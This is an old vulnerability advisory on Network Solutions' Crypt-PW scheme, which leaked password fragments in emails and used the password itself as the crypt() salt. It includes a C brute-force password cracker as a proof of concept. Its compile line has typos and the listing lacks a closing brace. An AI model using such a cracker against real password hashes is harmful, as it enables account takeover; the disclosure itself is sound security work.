Vulnerability
crypt-pw
Affected
Netsol's Auth Scheme Crypt-PW
Description
Jon Lewis found following. Some months ago he began using the
crypt-pw Auth Scheme with his Internic/Network Solutions NIC
handle because forging mail to ineternic.net is just too easy and
ge doesn't want domains messed with.
On Sep 21, 1999 he notified security@networksolutions.com that
when doing domain updates with Auth Scheme Crypt-PW, if the clear
text password contains spaces, their processing scripts strip out
the password up to the first space, and then send off notification
emails containing the remainder of the password to the other
contacts involved with the domain being updated.
Jefferson Ogata also noticed a problem with Network Solutions'
handling of passwords for CRYPT-PW authentication: when you submit
the password initially, the form they generate with their New
Contact Form web system runs the password you enter through
crypt(), but the first two characters of the encrypted value (the
salt) are the same as the first two characters of the password,
indicating they use the password as its own salt. This
dramatically limits the usefulness of encrypting the password in
the first place, since you've already given away the first two
characters, and probably hamstrung the whole algorithm at the
same time. In any case, this is definitely the wrong way to do
it.
Ogata re-encrypted his password with different salt when
submitting it and this appeared to work fine. But Network
Solutions should be generating a random salt value; not storing a
portion of the password unencrypted in their database as the
salt. Most people won't even notice, and very few will know how
to generate their own properly salted value.
Following proof-of-concept compiles on RH6.0 with:
gcc -O -funroll-loops nic_crack nic_crack.c -lcyprt
Code:
/* nic_crack.c - brute forces Netsol encrypted NIC update passwords */
#define _XOPEN_SOURCE
#include <stdio.h>
#include <unistd.h>
struct key {
char a[2];
char b, c, d, e, f, g;
char term;
};
int main(int argc, char *argv[])
{
char *passwd;
char *crypted;
struct key thekey;
char first[3];
int b,c,d,e,f,g,i;
if (argc<2) {
fprintf(stderr,"usage: nic_crack <crypted password>\n");
exit(1);
}
passwd = argv[1];
thekey.term = '\0';
strncpy(first, argv[1], 2);
first[2] = 0;
strncpy(thekey.a, argv[1], 2);
for (g = 0; g < 127; g++) {
thekey.g = g;
for (f = 0; f < 127; f++) {
thekey.f = f;
for (e = 0; e < 127; e++) {
thekey.e = e;
for (d = 0; d < 127; d++) {
thekey.d = d;
for (c = 0; c < 127; c++) {
thekey.c = c;
for (b = 0; b < 127; b++) {
thekey.b = b;
crypted = (char *)crypt((char *)&thekey, first);
if (strcmp(crypted, passwd) == 0) {
printf("Found: %s\n", (char *)&thekey);
return 0;
}
}
}
}
}
}
}
return 0;
Solution
Developers are working on it.